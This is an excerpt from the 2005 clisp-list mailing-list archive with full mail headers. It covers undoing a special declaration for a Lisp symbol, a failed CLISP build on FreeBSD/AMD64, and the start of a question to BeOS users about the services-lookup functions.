jA8FABrg006859; Tue, 8 Nov 2005 10:10:11 -0500 (EST) To: clisp-list@lists.sourceforge.net, Raymond Toy Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Raymond Toy's message of "Tue, 08 Nov 2005 09:37:03 -0500") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Raymond Toy Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ Subject: [clisp-list] Re: Making special variables no longer special? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 8 07:11:58 2005 X-Original-Date: Tue, 08 Nov 2005 10:09:14 -0500 > * Raymond Toy [2005-11-08 09:37:03 -0500]: > > Is it possible to make a special variable no longer special in clisp, > via some internal function? This happens a lot in maxima where maxima > declares a symbol as special, and later on in the same file, maxima > wants to make that symbol no longer special. I guess the intent is > that the variable is special only for the file, not for all of maxima. not really, although there is a work-around: what do other implementations do? (proclaim '((not special) variable)) ? -- Sam Steingold (http://www.podval.org/~sds) running w2k http://truepeace.org http://pmw.org.il/ http://www.camera.org http://www.honestreporting.com http://ffii.org/ http://www.palestinefacts.org/ Please wait, MS Windows are preparing the blue screen of death. From raymond.toy@ericsson.com Tue Nov 08 07:31:13 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EZVRJ-0002ha-2V for clisp-list@lists.sourceforge.net; Tue, 08 Nov 2005 07:31:13 -0800 Received: from imr1.ericy.com ([198.24.6.9]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EZVRE-00007U-NF for clisp-list@lists.sourceforge.net; Tue, 08 Nov 2005 07:31:10 -0800 Received: from eamrcnt751.exu.ericsson.se (eamrcnt751.exu.ericsson.se [138.85.133.52]) by imr1.ericy.com (8.13.1/8.13.1) with ESMTP id jA8FV1D0004111 for ; Tue, 8 Nov 2005 09:31:01 -0600 Received: from brtps071 (brtps071.rtp.ericsson.se [147.117.93.71]) by eamrcnt751.exu.ericsson.se with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2657.72) id WGY9PJDD; Tue, 8 Nov 2005 09:31:01 -0600 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Making special variables no longer special? References: From: Raymond Toy In-Reply-To: (Sam Steingold's message of "Tue, 08 Nov 2005 10:09:14 -0500") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (daikon, usg-unix-v) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 8 07:32:31 2005 X-Original-Date: Tue, 08 Nov 2005 10:31:00 -0500 >>>>> "Sam" == Sam Steingold writes: >> * Raymond Toy [2005-11-08 09:37:03 -0500]: >> >> Is it possible to make a special variable no longer special in clisp, >> via some internal function? This happens a lot in maxima where maxima >> declares a symbol as special, and later on in the same file, maxima >> wants to make that symbol no longer special. I guess the intent is >> that the variable is special only for the file, not for all of maxima. Sam> not really, although there is a work-around: Sam> That might work, and it should be portable too. And couldn't you preserve the symbol-plist and function definitions by reinstalling them on the new symbol? Sam> what do other implementations do? Sam> (proclaim '((not special) variable)) ? They all seem to use implementation-specific internals to remove the specialness from the symbol. Thanks, Ray From sds@gnu.org Tue Nov 08 08:05:38 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EZVyc-0005KD-BD for clisp-list@lists.sourceforge.net; Tue, 08 Nov 2005 08:05:38 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EZVyW-0005ek-S9 for clisp-list@lists.sourceforge.net; Tue, 08 Nov 2005 08:05:35 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.53.37]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jA8G5D0A007552; Tue, 8 Nov 2005 11:05:13 -0500 (EST) To: clisp-list@lists.sourceforge.net, Raymond Toy Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Raymond Toy's message of "Tue, 08 Nov 2005 10:31:00 -0500") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Raymond Toy Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Making special variables no longer special? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 8 08:07:15 2005 X-Original-Date: Tue, 08 Nov 2005 11:04:16 -0500 > * Raymond Toy [2005-11-08 10:31:00 -0500]: > >>>>>> "Sam" == Sam Steingold writes: > > >> * Raymond Toy [2005-11-08 09:37:03 -0500]: > >> > >> Is it possible to make a special variable no longer special in clisp, > >> via some internal function? This happens a lot in maxima where maxima > >> declares a symbol as special, and later on in the same file, maxima > >> wants to make that symbol no longer special. I guess the intent is > >> that the variable is special only for the file, not for all of maxima. > > Sam> not really, although there is a work-around: > Sam> > > That might work, and it should be portable too. And couldn't you > preserve the symbol-plist and function definitions by reinstalling > them on the new symbol? CLOCC/PORT/sys.lisp: (defun variable-not-special (symbol) "Undo the global special declaration. This returns a _new_ symbol with the same name, package, fdefinition, and plist as the argument. This can be confused by imported symbols. Also, (FUNCTION-LAMBDA-EXPRESSION (FDEFINITION NEW)) will return the OLD (uninterned!) symbol as its 3rd value. BEWARE!" (let ((pack (symbol-package symbol)) var) (unintern symbol) (setq var (intern (symbol-name symbol) pack)) (setf (fdefinition var) (fdefinition symbol) (symbol-plist var) (symbol-plist symbol)) var)) > Sam> what do other implementations do? > Sam> (proclaim '((not special) variable)) ? > > They all seem to use implementation-specific internals to remove the > specialness from the symbol. please ask c.l.l - maybe we need a new CLRFI on that. (or maybe there is a deep reason not to) -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.mideasttruth.com/ http://www.honestreporting.com http://www.palestinefacts.org/ http://pmw.org.il/ http://www.jihadwatch.org/ Beliefs divide, doubts unite. From raymond.toy@ericsson.com Tue Nov 08 08:46:56 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EZWcZ-0007Wk-I3 for clisp-list@lists.sourceforge.net; Tue, 08 Nov 2005 08:46:55 -0800 Received: from imr1.ericy.com ([198.24.6.9]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EZWcT-0004Dx-7L for clisp-list@lists.sourceforge.net; Tue, 08 Nov 2005 08:46:55 -0800 Received: from eamrcnt751.exu.ericsson.se (eamrcnt751.exu.ericsson.se [138.85.133.52]) by imr1.ericy.com (8.13.1/8.13.1) with ESMTP id jA8Gkh6B020125 for ; Tue, 8 Nov 2005 10:46:43 -0600 Received: from brtps071 (brtps071.rtp.ericsson.se [147.117.93.71]) by eamrcnt751.exu.ericsson.se with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2657.72) id WGY9PNL6; Tue, 8 Nov 2005 10:46:42 -0600 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Making special variables no longer special? References: From: Raymond Toy In-Reply-To: (Sam Steingold's message of "Tue, 08 Nov 2005 11:04:16 -0500") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (daikon, usg-unix-v) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 8 08:48:05 2005 X-Original-Date: Tue, 08 Nov 2005 11:46:41 -0500 >>>>> "Sam" == Sam Steingold writes: >> * Raymond Toy [2005-11-08 10:31:00 -0500]: >> >>>>>>> "Sam" == Sam Steingold writes: >> >> >> * Raymond Toy [2005-11-08 09:37:03 -0500]: >> >> >> >> Is it possible to make a special variable no longer special in clisp, >> >> via some internal function? This happens a lot in maxima where maxima >> >> declares a symbol as special, and later on in the same file, maxima >> >> wants to make that symbol no longer special. I guess the intent is >> >> that the variable is special only for the file, not for all of maxima. >> Sam> not really, although there is a work-around: Sam> >> >> That might work, and it should be portable too. And couldn't you >> preserve the symbol-plist and function definitions by reinstalling >> them on the new symbol? Actually it doesn't quite work. maxima gets some error about #:arg being an undefined function. Don't know where that comes from, but maxima doesn't build now. Ray From sds@gnu.org Tue Nov 08 09:48:11 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EZXZq-0002J5-VU for clisp-list@lists.sourceforge.net; Tue, 08 Nov 2005 09:48:10 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EZXZo-0007w2-IX for clisp-list@lists.sourceforge.net; Tue, 08 Nov 2005 09:48:11 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.53.37]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jA8HltIQ011032; Tue, 8 Nov 2005 12:47:55 -0500 (EST) To: clisp-list@lists.sourceforge.net, Raymond Toy Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Raymond Toy's message of "Tue, 08 Nov 2005 11:46:41 -0500") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Raymond Toy Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Re: Making special variables no longer special? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 8 09:48:45 2005 X-Original-Date: Tue, 08 Nov 2005 12:46:58 -0500 > * Raymond Toy [2005-11-08 11:46:41 -0500]: > >>>>>> "Sam" == Sam Steingold writes: > > >> * Raymond Toy [2005-11-08 10:31:00 -0500]: > >> > >>>>>>> "Sam" == Sam Steingold writes: > >> > >> >> * Raymond Toy [2005-11-08 09:37:03 -0500]: > >> >> > >> >> Is it possible to make a special variable no longer special in clisp, > >> >> via some internal function? This happens a lot in maxima where maxima > >> >> declares a symbol as special, and later on in the same file, maxima > >> >> wants to make that symbol no longer special. I guess the intent is > >> >> that the variable is special only for the file, not for all of maxima. > >> > Sam> not really, although there is a work-around: > Sam> > >> > >> That might work, and it should be portable too. And couldn't you > >> preserve the symbol-plist and function definitions by reinstalling > >> them on the new symbol? > > Actually it doesn't quite work. maxima gets some error about #:arg > being an undefined function. Don't know where that comes from, but > maxima doesn't build now. sure, it's not quite safe... I am at loss to imagine a scenario that would lead to this though. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.camera.org http://www.jihadwatch.org/ http://www.dhimmi.com/ http://www.savegushkatif.org http://www.palestinefacts.org/ "Complete Idiots Guide to Running LINUX Unleashed in a Nutshell for Dummies" From s11@member.fsf.org Tue Nov 08 12:29:08 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EZa5V-0000mx-Dp for clisp-list@lists.sourceforge.net; Tue, 08 Nov 2005 12:29:01 -0800 Received: from csserver.evansville.edu ([192.195.228.35]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EZa5Q-0003dJ-Sg for clisp-list@lists.sourceforge.net; Tue, 08 Nov 2005 12:28:58 -0800 Received: from csserver.evansville.edu (localhost.localdomain [127.0.0.1]) by csserver.evansville.edu (8.13.4/8.13.4) with ESMTP id jA8KQYX8027158; Tue, 8 Nov 2005 14:26:34 -0600 Received: (from sc87@localhost) by csserver.evansville.edu (8.13.4/8.13.4/Submit) id jA8KQXNt027157; Tue, 8 Nov 2005 14:26:33 -0600 X-Authentication-Warning: csserver.evansville.edu: sc87 set sender to s11@member.fsf.org using -f Subject: [clisp-list] Re: Making special variables no longer special? From: Stephen Compall To: clisp-list@lists.sourceforge.net Cc: Raymond Toy In-Reply-To: References: Content-Type: text/plain Content-Transfer-Encoding: 7bit Message-Id: <1131481593.26895.9.camel@csserver.evansville.edu> Mime-Version: 1.0 X-Mailer: Evolution 2.2.2 (2.2.2-5) X-Spam-Score: 0.5 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 FROM_ENDS_IN_NUMS From: ends in numbers Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 8 12:29:40 2005 X-Original-Date: Tue, 08 Nov 2005 14:26:33 -0600 On Tue, 2005-11-08 at 12:46 -0500, Sam Steingold wrote: > > Actually it doesn't quite work. maxima gets some error about #:arg > > being an undefined function. Don't know where that comes from, but > > maxima doesn't build now. > > sure, it's not quite safe... > I am at loss to imagine a scenario that would lead to this though. (in-package #:cl-user) (require :port-sys (translate-logical-pathname "clocc:src;port;sys")) (defun arg-caller () (arg)) (defparameter arg :arg-var) (defun driver () (port:variable-not-special 'arg) (setf (fdefinition (find-symbol "ARG")) (lambda () :arg)) (arg-caller)) [1]> (load "v-n-s-breaks") ;; ... T [2]> (driver) *** - EVAL: undefined function #:ARG The following restarts are available: USE-VALUE :R1 You may input a value to be used instead of (FDEFINITION '#:ARG). ... [SLIME] Backtrace: 0: # 1: # 2: # NIL. Admittedly contrived, but mainly triggered by delaying READ of symbols, as I simulate above with FIND-SYMBOL. Now that I look at it, replacing (arg-caller) with (arg) would have the same effect. I don't remember why I put arg-caller in there.... -- Stephen Compall http://scompall.nocandysoftware.com/blog From aeder@arcor.de Wed Nov 09 08:27:34 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EZsnM-0004r6-52 for clisp-list@lists.sourceforge.net; Wed, 09 Nov 2005 08:27:32 -0800 Received: from mail-in-09.arcor-online.net ([151.189.21.49]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EZsnJ-0004Zx-BH for clisp-list@lists.sourceforge.net; Wed, 09 Nov 2005 08:27:32 -0800 Received: from mail-in-03-z2.arcor-online.net (mail-in-03-z2.arcor-online.net [151.189.8.15]) by mail-in-09.arcor-online.net (Postfix) with ESMTP id 55192AAFC3 for ; Wed, 9 Nov 2005 17:27:23 +0100 (CET) Received: from mail-in-07.arcor-online.net (mail-in-07.arcor-online.net [151.189.21.47]) by mail-in-03-z2.arcor-online.net (Postfix) with ESMTP id 3C3841F1BC7 for ; Wed, 9 Nov 2005 17:27:23 +0100 (CET) Received: from iona.eder.local (dslb-084-059-065-041.pools.arcor-ip.net [84.59.65.41]) by mail-in-07.arcor-online.net (Postfix) with ESMTP id 13FA87F3F2 for ; Wed, 9 Nov 2005 17:27:23 +0100 (CET) Received: from staffa.eder.local (staffa [192.168.0.22]) by iona.eder.local (Postfix) with ESMTP id CDC7166CB for ; Wed, 9 Nov 2005 17:27:22 +0100 (CET) Received: from staffa.eder.local (localhost [127.0.0.1]) by staffa.eder.local (8.13.4/8.13.3) with ESMTP id jA9GRM5x031774 for ; Wed, 9 Nov 2005 17:27:22 +0100 (CET) (envelope-from are@staffa.eder.local) Message-Id: <200511091627.jA9GRM5x031774@staffa.eder.local> Reply-to: andreas_eder@gmx.net To: clisp-list@lists.sourceforge.net X-Mailer: MH-E 7.85; nmh 1.0.4; GNU Emacs 21.3.1 From: Andreas Eder X-Spam-Score: 1.1 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Failure in buildinf clisp on FreeBSD/AMD64 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Nov 9 08:28:07 2005 X-Original-Date: Wed, 09 Nov 2005 17:27:22 +0100 Hi, the clisp in ports doesn't install, because it says it is broken on amd64. I found a bugreport from 2005-10-17 15:33:08 GMT on this and indeed if I try to compile clisp (clisp-2.35.tar.bz2) it dies with the same symptoms, namely: > ===> Building for clisp-2.35_1 > cc -I/opt/include -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit > -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -DUNICODE > -DDYNAMIC_FFI -I. -c spvw.c > In file included from spvw.d:24: > lispbibl.d:3028: error: syntax error before "tint" This seems to be caused by a failure to define oint_type_len (and probably some others). There is a definition in lispbibl.d for the case of AMD64 on Linux at line 2917: #if defined(AMD64) && defined(UNIX_LINUX) # Code address range: 0x000000004xxxxxxx # Malloc address range: 0x000000004xxxxxxx # Shared libraries: 0x0000002A95xxxxxx # Bits 63..48 = type code, Bits 47..0 = address #define oint_type_shift 48 #define oint_type_len 16 #define oint_type_mask 0xFFFF000000000000UL #define oint_addr_shift 0 #define oint_addr_len 48 #define oint_addr_mask 0x0000FFFFFFFFFFFFUL #define oint_data_shift 0 #define oint_data_len 48 #define oint_data_mask 0x0000FFFFFFFFFFFFUL #endif If I change that to include the Freebsd case UNIX_FREEBSD the compilation succeeds, but the I get an error on the first start of the executable: $ gmake check ./lisp.run -B . -N locale -Efile UTF-8 -Eterminal UTF-8 -norc -m 1400KW -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit)) (ext::exit t)" Cannot map memory to address 0x4000000000000 . [spvw_mmap.d:359] errno = EINVAL: Invalid argument. ./lisp.run: Not enough memory for Lisp. gmake: *** [interpreted.mem] Error 1 So, I gues there is something wrong with the above defined values. Maybe you can use this information to enable clisp on Freebsd/amd64. I'm unfortunately not knowledgable enough to do it Andreas -- Wherever I lay my .emacs, there's my $HOME. From sds@gnu.org Wed Nov 09 09:05:14 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EZtNp-0006xh-85 for clisp-list@lists.sourceforge.net; Wed, 09 Nov 2005 09:05:13 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EZtNi-00059V-TF for clisp-list@lists.sourceforge.net; Wed, 09 Nov 2005 09:05:13 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.53.37]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jA9H4ROG028143; Wed, 9 Nov 2005 12:04:34 -0500 (EST) To: clisp-list@lists.sourceforge.net, andreas_eder@gmx.net Cc: mi+kde@aldan.algebra.com Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200511091627.jA9GRM5x031774@staffa.eder.local> (Andreas Eder's message of "Wed, 09 Nov 2005 17:27:22 +0100") References: <200511091627.jA9GRM5x031774@staffa.eder.local> Mail-Followup-To: clisp-list@lists.sourceforge.net, andreas_eder@gmx.net, mi+kde@aldan.algebra.com Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Re: Failure in buildinf clisp on FreeBSD/AMD64 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Nov 9 09:06:03 2005 X-Original-Date: Wed, 09 Nov 2005 12:03:32 -0500 > * Andreas Eder [2005-11-09 17:27:22 +0100]: > > Hi, > the clisp in ports doesn't install, because it says it is broken on > amd64. > > I found a bugreport from 2005-10-17 15:33:08 GMT on this and indeed > if I try to compile clisp (clisp-2.35.tar.bz2) it dies with the same > symptoms, namely: > >> ===> Building for clisp-2.35_1 >> cc -I/opt/include -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit >> -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -DUNICODE >> -DDYNAMIC_FFI -I. -c spvw.c >> In file included from spvw.d:24: >> lispbibl.d:3028: error: syntax error before "tint" > > This seems to be caused by a failure to define oint_type_len (and probably > some others). > There is a definition in lispbibl.d for the case of AMD64 on Linux at > line 2917: > > #if defined(AMD64) && defined(UNIX_LINUX) > # Code address range: 0x000000004xxxxxxx > # Malloc address range: 0x000000004xxxxxxx > # Shared libraries: 0x0000002A95xxxxxx > # Bits 63..48 = type code, Bits 47..0 = address > #define oint_type_shift 48 > #define oint_type_len 16 > #define oint_type_mask 0xFFFF000000000000UL > #define oint_addr_shift 0 > #define oint_addr_len 48 > #define oint_addr_mask 0x0000FFFFFFFFFFFFUL > #define oint_data_shift 0 > #define oint_data_len 48 > #define oint_data_mask 0x0000FFFFFFFFFFFFUL > #endif > > If I change that to include the Freebsd case UNIX_FREEBSD the > compilation succeeds, but the I get an error on the first start of the > executable: > > $ gmake check > ./lisp.run -B . -N locale -Efile UTF-8 -Eterminal UTF-8 -norc -m 1400KW -x "(and > (load \"init.lisp\") (sys::%saveinitmem) (ext::exit)) (ext::exit t)" > Cannot map memory to address 0x4000000000000 . > [spvw_mmap.d:359] errno = EINVAL: Invalid argument. > ./lisp.run: Not enough memory for Lisp. > gmake: *** [interpreted.mem] Error 1 > > So, I gues there is something wrong with the above defined values. now, just bad mmap() in FreeBSD. > Maybe you can use this information to enable clisp on Freebsd/amd64. > I'm unfortunately not knowledgable enough to do it you should start with clisp/unix/PLATFORMS in your source distribution. disabling mmap() will get you a working CLISP. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.palestinefacts.org/ http://truepeace.org http://www.memri.org/ http://ffii.org/ http://www.honestreporting.com Murphy's Law was probably named after the wrong guy. From sds@gnu.org Wed Nov 09 09:58:56 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EZuDo-0001P2-EU for clisp-list@lists.sourceforge.net; Wed, 09 Nov 2005 09:58:56 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EZuDl-0000Nv-1i for clisp-list@lists.sourceforge.net; Wed, 09 Nov 2005 09:58:56 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.53.37]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jA9HwXnQ001754 for ; Wed, 9 Nov 2005 12:58:34 -0500 (EST) To: clisp-list@lists.sourceforge.net Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold Mail-Followup-To: clisp-list@lists.sourceforge.net Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : Subject: [clisp-list] BeOS users? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Nov 9 09:59:07 2005 X-Original-Date: Wed, 09 Nov 2005 12:57:38 -0500 A question for BeOS (or openbeos) users: are getservbyport, getservbyname, getservent implemented on BeOS now? CLISP implements SOCKET:SOCKET-SERVICE-PORT on BeOS by parsing "/boot/beos/etc/services" directly. it appears (http://cvs.sourceforge.net/viewcvs.py/open-beos/current/src/kits/network/libnet/) that, first, the C functions are now present, and, second, the file is "/etc/services" and not "/boot/beos/etc/services". Could you please 